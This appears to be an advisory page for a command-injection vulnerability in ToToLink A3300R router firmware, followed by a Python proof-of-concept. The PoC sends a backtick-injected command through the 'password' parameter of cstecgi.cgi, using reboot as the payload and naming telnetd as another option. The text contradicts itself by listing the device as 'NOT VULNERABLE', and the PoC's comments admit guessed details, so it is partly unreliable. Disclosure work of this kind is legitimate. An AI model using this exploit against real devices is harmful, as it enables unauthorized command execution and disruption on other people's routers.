An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the password parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Replace with actual IP)
target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi"
# malicious command to execute (e.g., telnetd or reboot)
# Using backticks or semicolons to inject command
command = "`reboot`"
# Data payload sent to the vulnerable endpoint
# The vulnerability is in the 'password' parameter
csrf_token = "random_token" # May or may not be needed depending on specific endpoint logic
payload = {
"username": "admin",
"password": "admin" + command,
"function": "set_language" # Example function, actual function name may vary based on analysis
}
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; PoC/1.0;)"
}
try:
# Sending the malicious request
response = requests.post(target_url, json=payload, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Response:", response.text)
else:
print("[-] Failed to send request. Status code:", response.status_code)
except Exception as e:
print("[-] An error occurred:", str(e))